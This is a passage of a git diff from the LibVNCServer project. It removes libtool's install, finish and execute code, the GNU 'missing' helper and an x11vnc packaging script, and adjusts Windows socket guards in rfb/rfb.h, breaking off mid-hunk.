- dlprefiles="$newdlprefiles"
- else
- newdlfiles=
- for lib in $dlfiles; do
- case $lib in
- [\\/]* | [A-Za-z]:[\\/]*) abs="$lib" ;;
- *) abs=`pwd`"/$lib" ;;
- esac
- newdlfiles="$newdlfiles $abs"
- done
- dlfiles="$newdlfiles"
- newdlprefiles=
- for lib in $dlprefiles; do
- case $lib in
- [\\/]* | [A-Za-z]:[\\/]*) abs="$lib" ;;
- *) abs=`pwd`"/$lib" ;;
- esac
- newdlprefiles="$newdlprefiles $abs"
- done
- dlprefiles="$newdlprefiles"
- fi
- $rm $output
- # place dlname in correct position for cygwin
- tdlname=$dlname
- case $host,$output,$installed,$module,$dlname in
- *cygwin*,*lai,yes,no,*.dll | *mingw*,*lai,yes,no,*.dll) tdlname=../bin/$dlname ;;
- esac
- $echo > $output "\
-# $outputname - a libtool library file
-# Generated by $PROGRAM - GNU $PACKAGE $VERSION$TIMESTAMP
-#
-# Please DO NOT delete this file!
-# It is necessary for linking the library.
-
-# The name that we can dlopen(3).
-dlname='$tdlname'
-
-# Names of this library.
-library_names='$library_names'
-
-# The name of the static archive.
-old_library='$old_library'
-
-# Libraries that this one depends upon.
-dependency_libs='$dependency_libs'
-
-# Version information for $libname.
-current=$current
-age=$age
-revision=$revision
-
-# Is this an already installed library?
-installed=$installed
-
-# Should we warn about portability when linking against -modules?
-shouldnotlink=$module
-
-# Files to dlopen/dlpreopen
-dlopen='$dlfiles'
-dlpreopen='$dlprefiles'
-
-# Directory that this library needs to be installed in:
-libdir='$install_libdir'"
- if test "$installed" = no && test "$need_relink" = yes; then
- $echo >> $output "\
-relink_command=\"$relink_command\""
- fi
- done
- fi
-
- # Do a symbolic link so that the libtool archive can be found in
- # LD_LIBRARY_PATH before the program is installed.
- $show "(cd $output_objdir && $rm $outputname && $LN_S ../$outputname $outputname)"
- $run eval '(cd $output_objdir && $rm $outputname && $LN_S ../$outputname $outputname)' || exit $?
- ;;
- esac
- exit $EXIT_SUCCESS
- ;;
-
- # libtool install mode
- install)
- modename="$modename: install"
-
- # There may be an optional sh(1) argument at the beginning of
- # install_prog (especially on Windows NT).
- if test "$nonopt" = "$SHELL" || test "$nonopt" = /bin/sh ||
- # Allow the use of GNU shtool's install command.
- $echo "X$nonopt" | grep shtool > /dev/null; then
- # Aesthetically quote it.
- arg=`$echo "X$nonopt" | $Xsed -e "$sed_quote_subst"`
- case $arg in
- *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"")
- arg="\"$arg\""
- ;;
- esac
- install_prog="$arg "
- arg="$1"
- shift
- else
- install_prog=
- arg=$nonopt
- fi
-
- # The real first argument should be the name of the installation program.
- # Aesthetically quote it.
- arg=`$echo "X$arg" | $Xsed -e "$sed_quote_subst"`
- case $arg in
- *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"")
- arg="\"$arg\""
- ;;
- esac
- install_prog="$install_prog$arg"
-
- # We need to accept at least all the BSD install flags.
- dest=
- files=
- opts=
- prev=
- install_type=
- isdir=no
- stripme=
- for arg
- do
- if test -n "$dest"; then
- files="$files $dest"
- dest=$arg
- continue
- fi
-
- case $arg in
- -d) isdir=yes ;;
- -f)
- case " $install_prog " in
- *[\\\ /]cp\ *) ;;
- *) prev=$arg ;;
- esac
- ;;
- -g | -m | -o) prev=$arg ;;
- -s)
- stripme=" -s"
- continue
- ;;
- -*)
- ;;
- *)
- # If the previous option needed an argument, then skip it.
- if test -n "$prev"; then
- prev=
- else
- dest=$arg
- continue
- fi
- ;;
- esac
-
- # Aesthetically quote the argument.
- arg=`$echo "X$arg" | $Xsed -e "$sed_quote_subst"`
- case $arg in
- *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"")
- arg="\"$arg\""
- ;;
- esac
- install_prog="$install_prog $arg"
- done
-
- if test -z "$install_prog"; then
- $echo "$modename: you must specify an install program" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- fi
-
- if test -n "$prev"; then
- $echo "$modename: the \`$prev' option requires an argument" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- fi
-
- if test -z "$files"; then
- if test -z "$dest"; then
- $echo "$modename: no file or destination specified" 1>&2
- else
- $echo "$modename: you must specify a destination" 1>&2
- fi
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- fi
-
- # Strip any trailing slash from the destination.
- dest=`$echo "X$dest" | $Xsed -e 's%/$%%'`
-
- # Check to see that the destination is a directory.
- test -d "$dest" && isdir=yes
- if test "$isdir" = yes; then
- destdir="$dest"
- destname=
- else
- destdir=`$echo "X$dest" | $Xsed -e 's%/[^/]*$%%'`
- test "X$destdir" = "X$dest" && destdir=.
- destname=`$echo "X$dest" | $Xsed -e 's%^.*/%%'`
-
- # Not a directory, so check to see that there is only one file specified.
- set dummy $files
- if test "$#" -gt 2; then
- $echo "$modename: \`$dest' is not a directory" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- fi
- fi
- case $destdir in
- [\\/]* | [A-Za-z]:[\\/]*) ;;
- *)
- for file in $files; do
- case $file in
- *.lo) ;;
- *)
- $echo "$modename: \`$destdir' must be an absolute directory name" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- ;;
- esac
- done
- ;;
- esac
-
- # This variable tells wrapper scripts just to set variables rather
- # than running their programs.
- libtool_install_magic="$magic"
-
- staticlibs=
- future_libdirs=
- current_libdirs=
- for file in $files; do
-
- # Do each installation.
- case $file in
- *.$libext)
- # Do the static libraries later.
- staticlibs="$staticlibs $file"
- ;;
-
- *.la)
- # Check to see that this really is a libtool archive.
- if (${SED} -e '2q' $file | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then :
- else
- $echo "$modename: \`$file' is not a valid libtool archive" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- fi
-
- library_names=
- old_library=
- relink_command=
- # If there is no directory component, then add one.
- case $file in
- */* | *\\*) . $file ;;
- *) . ./$file ;;
- esac
-
- # Add the libdir to current_libdirs if it is the destination.
- if test "X$destdir" = "X$libdir"; then
- case "$current_libdirs " in
- *" $libdir "*) ;;
- *) current_libdirs="$current_libdirs $libdir" ;;
- esac
- else
- # Note the libdir as a future libdir.
- case "$future_libdirs " in
- *" $libdir "*) ;;
- *) future_libdirs="$future_libdirs $libdir" ;;
- esac
- fi
-
- dir=`$echo "X$file" | $Xsed -e 's%/[^/]*$%%'`/
- test "X$dir" = "X$file/" && dir=
- dir="$dir$objdir"
-
- if test -n "$relink_command"; then
- # Determine the prefix the user has applied to our future dir.
- inst_prefix_dir=`$echo "$destdir" | $SED "s%$libdir\$%%"`
-
- # Don't allow the user to place us outside of our expected
- # location b/c this prevents finding dependent libraries that
- # are installed to the same prefix.
- # At present, this check doesn't affect windows .dll's that
- # are installed into $libdir/../bin (currently, that works fine)
- # but it's something to keep an eye on.
- if test "$inst_prefix_dir" = "$destdir"; then
- $echo "$modename: error: cannot install \`$file' to a directory not ending in $libdir" 1>&2
- exit $EXIT_FAILURE
- fi
-
- if test -n "$inst_prefix_dir"; then
- # Stick the inst_prefix_dir data into the link command.
- relink_command=`$echo "$relink_command" | $SED "s%@inst_prefix_dir@%-inst-prefix-dir $inst_prefix_dir%"`
- else
- relink_command=`$echo "$relink_command" | $SED "s%@inst_prefix_dir@%%"`
- fi
-
- $echo "$modename: warning: relinking \`$file'" 1>&2
- $show "$relink_command"
- if $run eval "$relink_command"; then :
- else
- $echo "$modename: error: relink \`$file' with the above command before installing it" 1>&2
- exit $EXIT_FAILURE
- fi
- fi
-
- # See the names of the shared library.
- set dummy $library_names
- if test -n "$2"; then
- realname="$2"
- shift
- shift
-
- srcname="$realname"
- test -n "$relink_command" && srcname="$realname"T
-
- # Install the shared library and build the symlinks.
- $show "$install_prog $dir/$srcname $destdir/$realname"
- $run eval "$install_prog $dir/$srcname $destdir/$realname" || exit $?
- if test -n "$stripme" && test -n "$striplib"; then
- $show "$striplib $destdir/$realname"
- $run eval "$striplib $destdir/$realname" || exit $?
- fi
-
- if test "$#" -gt 0; then
- # Delete the old symlinks, and create new ones.
- # Try `ln -sf' first, because the `ln' binary might depend on
- # the symlink we replace! Solaris /bin/ln does not understand -f,
- # so we also need to try rm && ln -s.
- for linkname
- do
- if test "$linkname" != "$realname"; then
- $show "(cd $destdir && { $LN_S -f $realname $linkname || { $rm $linkname && $LN_S $realname $linkname; }; })"
- $run eval "(cd $destdir && { $LN_S -f $realname $linkname || { $rm $linkname && $LN_S $realname $linkname; }; })"
- fi
- done
- fi
-
- # Do each command in the postinstall commands.
- lib="$destdir/$realname"
- cmds=$postinstall_cmds
- save_ifs="$IFS"; IFS='~'
- for cmd in $cmds; do
- IFS="$save_ifs"
- eval cmd=\"$cmd\"
- $show "$cmd"
- $run eval "$cmd" || {
- lt_exit=$?
-
- # Restore the uninstalled library and exit
- if test "$mode" = relink; then
- $run eval '(cd $output_objdir && $rm ${realname}T && $mv ${realname}U $realname)'
- fi
-
- exit $lt_exit
- }
- done
- IFS="$save_ifs"
- fi
-
- # Install the pseudo-library for information purposes.
- name=`$echo "X$file" | $Xsed -e 's%^.*/%%'`
- instname="$dir/$name"i
- $show "$install_prog $instname $destdir/$name"
- $run eval "$install_prog $instname $destdir/$name" || exit $?
-
- # Maybe install the static library, too.
- test -n "$old_library" && staticlibs="$staticlibs $dir/$old_library"
- ;;
-
- *.lo)
- # Install (i.e. copy) a libtool object.
-
- # Figure out destination file name, if it wasn't already specified.
- if test -n "$destname"; then
- destfile="$destdir/$destname"
- else
- destfile=`$echo "X$file" | $Xsed -e 's%^.*/%%'`
- destfile="$destdir/$destfile"
- fi
-
- # Deduce the name of the destination old-style object file.
- case $destfile in
- *.lo)
- staticdest=`$echo "X$destfile" | $Xsed -e "$lo2o"`
- ;;
- *.$objext)
- staticdest="$destfile"
- destfile=
- ;;
- *)
- $echo "$modename: cannot copy a libtool object to \`$destfile'" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- ;;
- esac
-
- # Install the libtool object if requested.
- if test -n "$destfile"; then
- $show "$install_prog $file $destfile"
- $run eval "$install_prog $file $destfile" || exit $?
- fi
-
- # Install the old object if enabled.
- if test "$build_old_libs" = yes; then
- # Deduce the name of the old-style object file.
- staticobj=`$echo "X$file" | $Xsed -e "$lo2o"`
-
- $show "$install_prog $staticobj $staticdest"
- $run eval "$install_prog \$staticobj \$staticdest" || exit $?
- fi
- exit $EXIT_SUCCESS
- ;;
-
- *)
- # Figure out destination file name, if it wasn't already specified.
- if test -n "$destname"; then
- destfile="$destdir/$destname"
- else
- destfile=`$echo "X$file" | $Xsed -e 's%^.*/%%'`
- destfile="$destdir/$destfile"
- fi
-
- # If the file is missing, and there is a .exe on the end, strip it
- # because it is most likely a libtool script we actually want to
- # install
- stripped_ext=""
- case $file in
- *.exe)
- if test ! -f "$file"; then
- file=`$echo $file|${SED} 's,.exe$,,'`
- stripped_ext=".exe"
- fi
- ;;
- esac
-
- # Do a test to see if this is really a libtool program.
- case $host in
- *cygwin*|*mingw*)
- wrapper=`$echo $file | ${SED} -e 's,.exe$,,'`
- ;;
- *)
- wrapper=$file
- ;;
- esac
- if (${SED} -e '4q' $wrapper | grep "^# Generated by .*$PACKAGE")>/dev/null 2>&1; then
- notinst_deplibs=
- relink_command=
-
- # Note that it is not necessary on cygwin/mingw to append a dot to
- # foo even if both foo and FILE.exe exist: automatic-append-.exe
- # behavior happens only for exec(3), not for open(2)! Also, sourcing
- # `FILE.' does not work on cygwin managed mounts.
- #
- # If there is no directory component, then add one.
- case $wrapper in
- */* | *\\*) . ${wrapper} ;;
- *) . ./${wrapper} ;;
- esac
-
- # Check the variables that should have been set.
- if test -z "$notinst_deplibs"; then
- $echo "$modename: invalid libtool wrapper script \`$wrapper'" 1>&2
- exit $EXIT_FAILURE
- fi
-
- finalize=yes
- for lib in $notinst_deplibs; do
- # Check to see that each library is installed.
- libdir=
- if test -f "$lib"; then
- # If there is no directory component, then add one.
- case $lib in
- */* | *\\*) . $lib ;;
- *) . ./$lib ;;
- esac
- fi
- libfile="$libdir/"`$echo "X$lib" | $Xsed -e 's%^.*/%%g'` ### testsuite: skip nested quoting test
- if test -n "$libdir" && test ! -f "$libfile"; then
- $echo "$modename: warning: \`$lib' has not been installed in \`$libdir'" 1>&2
- finalize=no
- fi
- done
-
- relink_command=
- # Note that it is not necessary on cygwin/mingw to append a dot to
- # foo even if both foo and FILE.exe exist: automatic-append-.exe
- # behavior happens only for exec(3), not for open(2)! Also, sourcing
- # `FILE.' does not work on cygwin managed mounts.
- #
- # If there is no directory component, then add one.
- case $wrapper in
- */* | *\\*) . ${wrapper} ;;
- *) . ./${wrapper} ;;
- esac
-
- outputname=
- if test "$fast_install" = no && test -n "$relink_command"; then
- if test "$finalize" = yes && test -z "$run"; then
- tmpdir=`func_mktempdir`
- file=`$echo "X$file$stripped_ext" | $Xsed -e 's%^.*/%%'`
- outputname="$tmpdir/$file"
- # Replace the output file specification.
- relink_command=`$echo "X$relink_command" | $Xsed -e 's%@OUTPUT@%'"$outputname"'%g'`
-
- $show "$relink_command"
- if $run eval "$relink_command"; then :
- else
- $echo "$modename: error: relink \`$file' with the above command before installing it" 1>&2
- ${rm}r "$tmpdir"
- continue
- fi
- file="$outputname"
- else
- $echo "$modename: warning: cannot relink \`$file'" 1>&2
- fi
- else
- # Install the binary that we compiled earlier.
- file=`$echo "X$file$stripped_ext" | $Xsed -e "s%\([^/]*\)$%$objdir/\1%"`
- fi
- fi
-
- # remove .exe since cygwin /usr/bin/install will append another
- # one anyway
- case $install_prog,$host in
- */usr/bin/install*,*cygwin*)
- case $file:$destfile in
- *.exe:*.exe)
- # this is ok
- ;;
- *.exe:*)
- destfile=$destfile.exe
- ;;
- *:*.exe)
- destfile=`$echo $destfile | ${SED} -e 's,.exe$,,'`
- ;;
- esac
- ;;
- esac
- $show "$install_prog$stripme $file $destfile"
- $run eval "$install_prog\$stripme \$file \$destfile" || exit $?
- test -n "$outputname" && ${rm}r "$tmpdir"
- ;;
- esac
- done
-
- for file in $staticlibs; do
- name=`$echo "X$file" | $Xsed -e 's%^.*/%%'`
-
- # Set up the ranlib parameters.
- oldlib="$destdir/$name"
-
- $show "$install_prog $file $oldlib"
- $run eval "$install_prog \$file \$oldlib" || exit $?
-
- if test -n "$stripme" && test -n "$old_striplib"; then
- $show "$old_striplib $oldlib"
- $run eval "$old_striplib $oldlib" || exit $?
- fi
-
- # Do each command in the postinstall commands.
- cmds=$old_postinstall_cmds
- save_ifs="$IFS"; IFS='~'
- for cmd in $cmds; do
- IFS="$save_ifs"
- eval cmd=\"$cmd\"
- $show "$cmd"
- $run eval "$cmd" || exit $?
- done
- IFS="$save_ifs"
- done
-
- if test -n "$future_libdirs"; then
- $echo "$modename: warning: remember to run \`$progname --finish$future_libdirs'" 1>&2
- fi
-
- if test -n "$current_libdirs"; then
- # Maybe just do a dry run.
- test -n "$run" && current_libdirs=" -n$current_libdirs"
- exec_cmd='$SHELL $progpath $preserve_args --finish$current_libdirs'
- else
- exit $EXIT_SUCCESS
- fi
- ;;
-
- # libtool finish mode
- finish)
- modename="$modename: finish"
- libdirs="$nonopt"
- admincmds=
-
- if test -n "$finish_cmds$finish_eval" && test -n "$libdirs"; then
- for dir
- do
- libdirs="$libdirs $dir"
- done
-
- for libdir in $libdirs; do
- if test -n "$finish_cmds"; then
- # Do each command in the finish commands.
- cmds=$finish_cmds
- save_ifs="$IFS"; IFS='~'
- for cmd in $cmds; do
- IFS="$save_ifs"
- eval cmd=\"$cmd\"
- $show "$cmd"
- $run eval "$cmd" || admincmds="$admincmds
- $cmd"
- done
- IFS="$save_ifs"
- fi
- if test -n "$finish_eval"; then
- # Do the single finish_eval.
- eval cmds=\"$finish_eval\"
- $run eval "$cmds" || admincmds="$admincmds
- $cmds"
- fi
- done
- fi
-
- # Exit here if they wanted silent mode.
- test "$show" = : && exit $EXIT_SUCCESS
-
- $echo "X----------------------------------------------------------------------" | $Xsed
- $echo "Libraries have been installed in:"
- for libdir in $libdirs; do
- $echo " $libdir"
- done
- $echo
- $echo "If you ever happen to want to link against installed libraries"
- $echo "in a given directory, LIBDIR, you must either use libtool, and"
- $echo "specify the full pathname of the library, or use the \`-LLIBDIR'"
- $echo "flag during linking and do at least one of the following:"
- if test -n "$shlibpath_var"; then
- $echo " - add LIBDIR to the \`$shlibpath_var' environment variable"
- $echo " during execution"
- fi
- if test -n "$runpath_var"; then
- $echo " - add LIBDIR to the \`$runpath_var' environment variable"
- $echo " during linking"
- fi
- if test -n "$hardcode_libdir_flag_spec"; then
- libdir=LIBDIR
- eval flag=\"$hardcode_libdir_flag_spec\"
-
- $echo " - use the \`$flag' linker flag"
- fi
- if test -n "$admincmds"; then
- $echo " - have your system administrator run these commands:$admincmds"
- fi
- if test -f /etc/ld.so.conf; then
- $echo " - have your system administrator add LIBDIR to \`/etc/ld.so.conf'"
- fi
- $echo
- $echo "See any operating system documentation about shared libraries for"
- $echo "more information, such as the ld(1) and ld.so(8) manual pages."
- $echo "X----------------------------------------------------------------------" | $Xsed
- exit $EXIT_SUCCESS
- ;;
-
- # libtool execute mode
- execute)
- modename="$modename: execute"
-
- # The first argument is the command name.
- cmd="$nonopt"
- if test -z "$cmd"; then
- $echo "$modename: you must specify a COMMAND" 1>&2
- $echo "$help"
- exit $EXIT_FAILURE
- fi
-
- # Handle -dlopen flags immediately.
- for file in $execute_dlfiles; do
- if test ! -f "$file"; then
- $echo "$modename: \`$file' is not a file" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- fi
-
- dir=
- case $file in
- *.la)
- # Check to see that this really is a libtool archive.
- if (${SED} -e '2q' $file | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then :
- else
- $echo "$modename: \`$lib' is not a valid libtool archive" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- fi
-
- # Read the libtool library.
- dlname=
- library_names=
-
- # If there is no directory component, then add one.
- case $file in
- */* | *\\*) . $file ;;
- *) . ./$file ;;
- esac
-
- # Skip this library if it cannot be dlopened.
- if test -z "$dlname"; then
- # Warn if it was a shared library.
- test -n "$library_names" && $echo "$modename: warning: \`$file' was not linked with \`-export-dynamic'"
- continue
- fi
-
- dir=`$echo "X$file" | $Xsed -e 's%/[^/]*$%%'`
- test "X$dir" = "X$file" && dir=.
-
- if test -f "$dir/$objdir/$dlname"; then
- dir="$dir/$objdir"
- else
- $echo "$modename: cannot find \`$dlname' in \`$dir' or \`$dir/$objdir'" 1>&2
- exit $EXIT_FAILURE
- fi
- ;;
-
- *.lo)
- # Just add the directory containing the .lo file.
- dir=`$echo "X$file" | $Xsed -e 's%/[^/]*$%%'`
- test "X$dir" = "X$file" && dir=.
- ;;
-
- *)
- $echo "$modename: warning \`-dlopen' is ignored for non-libtool libraries and objects" 1>&2
- continue
- ;;
- esac
-
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- -no-undefined declare that a library does not refer to external symbols
- -o OUTPUT-FILE create OUTPUT-FILE from the specified objects
- -objectlist FILE Use a list of object files found in FILE to specify objects
- -precious-files-regex REGEX
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- -release RELEASE specify package release information
- -rpath LIBDIR the created library will eventually be installed in LIBDIR
- -R[ ]LIBDIR add LIBDIR to the runtime path of programs and libraries
- -static do not do any dynamic linking of libtool libraries
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-If the OUTPUT-FILE ends in \`.la', then a libtool library is created,
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-If OUTPUT-FILE ends in \`.a' or \`.lib', then a standard library is created
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diff --git a/m4/.gitignore b/m4/.gitignore
new file mode 100644
index 0000000..7c9f9ac
--- /dev/null
+++ b/m4/.gitignore
@@ -0,0 +1 @@
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diff --git a/missing b/missing
deleted file mode 100755
index 86a8fc3..0000000
--- a/missing
+++ /dev/null
@@ -1,331 +0,0 @@
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-scriptversion=2012-01-06.13; # UTC
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-
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2, or (at your option)
-# any later version.
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-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-# GNU General Public License for more details.
-
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-# along with this program. If not, see <http://www.gnu.org/licenses/>.
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- echo 1>&2 "\
-WARNING: \`$1' is $msg. You should only need it if
- you modified a \`.l' file. You may need the \`Flex' package
- in order for those modifications to take effect. You can get
- \`Flex' from any GNU archive site."
- rm -f lex.yy.c
- if test $# -ne 1; then
- eval LASTARG=\${$#}
- case $LASTARG in
- *.l)
- SRCFILE=`echo "$LASTARG" | sed 's/l$/c/'`
- if test -f "$SRCFILE"; then
- cp "$SRCFILE" lex.yy.c
- fi
- ;;
- esac
- fi
- if test ! -f lex.yy.c; then
- echo 'main() { return 0; }' >lex.yy.c
- fi
- ;;
-
- help2man*)
- echo 1>&2 "\
-WARNING: \`$1' is $msg. You should only need it if
- you modified a dependency of a manual page. You may need the
- \`Help2man' package in order for those modifications to take
- effect. You can get \`Help2man' from any GNU archive site."
-
- file=`echo "$*" | sed -n "$sed_output"`
- test -z "$file" && file=`echo "$*" | sed -n "$sed_minuso"`
- if test -f "$file"; then
- touch $file
- else
- test -z "$file" || exec >$file
- echo ".ab help2man is required to generate this page"
- exit $?
- fi
- ;;
-
- makeinfo*)
- echo 1>&2 "\
-WARNING: \`$1' is $msg. You should only need it if
- you modified a \`.texi' or \`.texinfo' file, or any other file
- indirectly affecting the aspect of the manual. The spurious
- call might also be the consequence of using a buggy \`make' (AIX,
- DU, IRIX). You might want to install the \`Texinfo' package or
- the \`GNU make' package. Grab either from any GNU archive site."
- # The file to touch is that specified with -o ...
- file=`echo "$*" | sed -n "$sed_output"`
- test -z "$file" && file=`echo "$*" | sed -n "$sed_minuso"`
- if test -z "$file"; then
- # ... or it is the one specified with @setfilename ...
- infile=`echo "$*" | sed 's/.* \([^ ]*\) *$/\1/'`
- file=`sed -n '
- /^@setfilename/{
- s/.* \([^ ]*\) *$/\1/
- p
- q
- }' $infile`
- # ... or it is derived from the source name (dir/f.texi becomes f.info)
- test -z "$file" && file=`echo "$infile" | sed 's,.*/,,;s,.[^.]*$,,'`.info
- fi
- # If the file does not exist, the user really needs makeinfo;
- # let's fail without touching anything.
- test -f $file || exit 1
- touch $file
- ;;
-
- *)
- echo 1>&2 "\
-WARNING: \`$1' is needed, and is $msg.
- You might have modified some files without having the
- proper tools for further handling them. Check the \`README' file,
- it often tells you about the needed prerequisites for installing
- this package. You may also peek at any GNU archive site, in case
- some other package would contain this missing \`$1' program."
- exit 1
- ;;
-esac
-
-exit 0
-
-# Local variables:
-# eval: (add-hook 'write-file-hooks 'time-stamp)
-# time-stamp-start: "scriptversion="
-# time-stamp-format: "%:y-%02m-%02d.%02H"
-# time-stamp-time-zone: "UTC"
-# time-stamp-end: "; # UTC"
-# End:
diff --git a/prepare_x11vnc_dist.sh b/prepare_x11vnc_dist.sh
deleted file mode 100644
index 8867d09..0000000
--- a/prepare_x11vnc_dist.sh
+++ /dev/null
@@ -1,140 +0,0 @@
-#!/bin/bash
-
-VERSION="0.9.13"
-
-cd "$(dirname "$0")"
-
-mv configure.ac configure.ac.LibVNCServer
-
-cat configure.ac.LibVNCServer | \
-egrep -v '(AC_CONFIG_COMMANDS|chmod).*libvncserver-config' | \
-egrep -v '^[ ]*libvncserver-config$' | \
-sed -e "s/LibVNCServer, [^,)]*\([(,]\)*/x11vnc, $VERSION\1/g" \
- -e "s/\(contrib\|examples\|vncterm\|test\|client_examples\)\/Makefile//g" \
- -e "s/LibVNCServer.spec/x11vnc.spec/g" \
- -e "s/AC_PROG_LIBTOOL/AC_PROG_RANLIB/" \
- -e "s/PKG_CHECK/#PKG_CHECK/" \
- -e 's/if test "x$with_gnutls/with_gnutls=no; if test "x$with_gnutls/' \
- -e 's/if test "x$with_ipv6/with_ipv6=no; if test "x$with_ipv6/' \
-> configure.ac
-
-mv Makefile.am Makefile.am.LibVNCServer
-
-echo "EXTRA_DIST=tightvnc-1.3dev5-vncviewer-alpha-cursor.patch RELEASE-NOTES README.LibVNCServer" > Makefile.am
-echo "" >> Makefile.am
-echo "if HAVE_SYSTEM_LIBVNCSERVER" >> Makefile.am
-echo "SUBDIRS=x11vnc classes" >> Makefile.am
-echo "DIST_SUBDIRS=x11vnc classes" >> Makefile.am
-echo "else" >> Makefile.am
-echo "SUBDIRS=libvncserver libvncclient x11vnc classes" >> Makefile.am
-echo "DIST_SUBDIRS=libvncserver libvncclient x11vnc classes" >> Makefile.am
-echo "endif" >> Makefile.am
-echo "" >> Makefile.am
-
-cat Makefile.am.LibVNCServer | \
-sed -e "s/^SUBDIRS.*$/#SUBDIRS=libvncserver libvncclient x11vnc classes/" \
- -e "s/^DIST_SUBDIRS.*$/#DIST_SUBDIRS=libvncserver libvncclient x11vnc classes/" \
- -e "/^.*bin_SCRIPTS.*$/d" \
- -e "s/^include_HEADERS/if HAVE_SYSTEM_LIBVNCSERVER^else^include_HEADERS/" \
- -e "s/rfbclient\.h/rfbclient.h^endif/" \
- | tr '^' '\n' \
->> Makefile.am
-
-mv README README.LibVNCServer
-cp x11vnc/README ./README
-cp x11vnc/RELEASE-NOTES ./RELEASE-NOTES
-
-cat LibVNCServer.spec.in | \
-sed -e "s/Johannes.Schindelin@gmx.de/runge@karlrunge.com/gi" \
- -e "s/Johannes.Schindelin/Karl Runge/g" \
- -e "s/a library to make writing a vnc server easy/a VNC server for the current X11 session/" \
- -e "/^%description$/,/%description devel$/d" \
- -e 's/^Static libraries.*$/%description\
-x11vnc is to X Window System what WinVNC is to Windows, i.e. a server\
-which serves the current Xwindows desktop via RFB (VNC) protocol\
-to the user.\
-\
-Based on the ideas of x0rfbserver and on LibVNCServer, it has evolved\
-into a versatile and performant while still easy to use program.\
-\
-x11vnc was put together and is (actively ;-) maintained by\
-Karl Runge <runge@karlrunge.com>\
-\
-/i' \
-> x11vnc.spec.in.tmp
-
-perl -e '
- $s = 0;
- while (<>) {
- if ($s) {
- if (/^\s*$/) {
- $s = 0;
- }
- } else {
- if (/^%files\s*$/ || /^%files devel/) {
- $s = 1;
- }
- }
- next if $s;
- if (/^%files x11vnc/) {
- print "\%files\n";
- print "\%doc README x11vnc/ChangeLog\n";
- next;
- }
- print;
- }' < x11vnc.spec.in.tmp > x11vnc.spec.in
-
-rm -f x11vnc.spec.in.tmp
-
-mv libvncserver/Makefile.am libvncserver/Makefile.am.LibVNCServer
-
-cat libvncserver/Makefile.am.LibVNCServer | \
-sed -e "s/\(include\|LIB\|lib\)_/noinst_/g" \
- -e "s/_la_/_a_/" \
- -e "s/\.la/.a/" \
- -e "s/_LTLIBRARIES/_LIBRARIES/" \
-> libvncserver/Makefile.am
-
-mv libvncclient/Makefile.am libvncclient/Makefile.am.LibVNCServer
-
-cat libvncclient/Makefile.am.LibVNCServer | \
-sed -e "s/\(include\|LIB\|lib\)_/noinst_/g" \
- -e "s/_la_/_a_/" \
- -e "s/\.la/.a/" \
- -e "s/_LTLIBRARIES/_LIBRARIES/" \
-> libvncclient/Makefile.am
-
-mv x11vnc/Makefile.am x11vnc/Makefile.am.LibVNCServer
-
-cat x11vnc/Makefile.am.LibVNCServer | \
-sed -e "s/_la_/_a_/" \
- -e "s/\.la/.a/g" \
- -e "s/_LTLIBRARIES/_LIBRARIES/" \
-> x11vnc/Makefile.am
-
-
-cp classes/Makefile.am classes/Makefile.am.LibVNCServer
-echo 'pkgdatadir = $(datadir)/@PACKAGE@/classes' >> classes/Makefile.am
-echo 'pkgdata_DATA=VncViewer.jar index.vnc' >> classes/Makefile.am
-
-cp classes/ssl/Makefile.am classes/ssl/Makefile.am.LibVNCServer
-sed -e 's/EXTRA_DIST=/EXTRA_DIST=tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no-tab-traversal.patch /' \
- classes/ssl/Makefile.am.LibVNCServer > classes/ssl/Makefile.am
-echo 'pkgdatadir = $(datadir)/@PACKAGE@/classes/ssl' >> classes/ssl/Makefile.am
-echo 'pkgdata_DATA=VncViewer.jar index.vnc SignedVncViewer.jar proxy.vnc README UltraViewerSSL.jar SignedUltraViewerSSL.jar ultra.vnc ultrasigned.vnc' >> classes/ssl/Makefile.am
-echo 'pkgdata_SCRIPTS=ss_vncviewer' >> classes/ssl/Makefile.am
-
-chmod 755 classes/ssl/ss_vncviewer
-
-mv acinclude.m4 acinclude.m4.LibVNCServer
-
-cat acinclude.m4.LibVNCServer | \
-sed -e "s/^\(_PKG.*\)\$PACKAGE\(.*\)$/\1LibVNCServer\2/" \
-> acinclude.m4
-
-make x11vnc-${VERSION}.tar.gz
-for f in configure.ac Makefile.am x11vnc/Makefile.am libvncserver/Makefile.am libvncclient/Makefile.am classes/Makefile.am classes/ssl/Makefile.am acinclude.m4 README; do
- mv -f $f.LibVNCServer $f
-done
-rm -f ./RELEASE-NOTES
-
diff --git a/rfb/rfb.h b/rfb/rfb.h
index 66a8dc2..f7919c6 100644
--- a/rfb/rfb.h
+++ b/rfb/rfb.h
@@ -52,7 +52,7 @@
#include <sys/types.h>
#endif
-#ifdef __MINGW32__
+#ifdef WIN32
#undef SOCKET
#include <winsock2.h>
#ifdef LIBVNCSERVER_HAVE_WS2TCPIP_H
@@ -267,7 +267,7 @@
SOCKET listenSock;
int maxSock;
int maxFd;
-#ifdef __MINGW32__
+#ifdef WIN32
struct fd_set allFds;
#else
fd_set allFds;
@@ -686,7 +686,7 @@
#ifdef LIBVNCSERVER_HAVE_LIBJPEG
/* TurboVNC Encoding support (extends TightVNC) */
int turboSubsampLevel;
- int turboQualityLevel; // 1-100 scale
+ int turboQualityLevel; /* 1-100 scale */
#endif
#endif
@@ -1090,7 +1090,6 @@
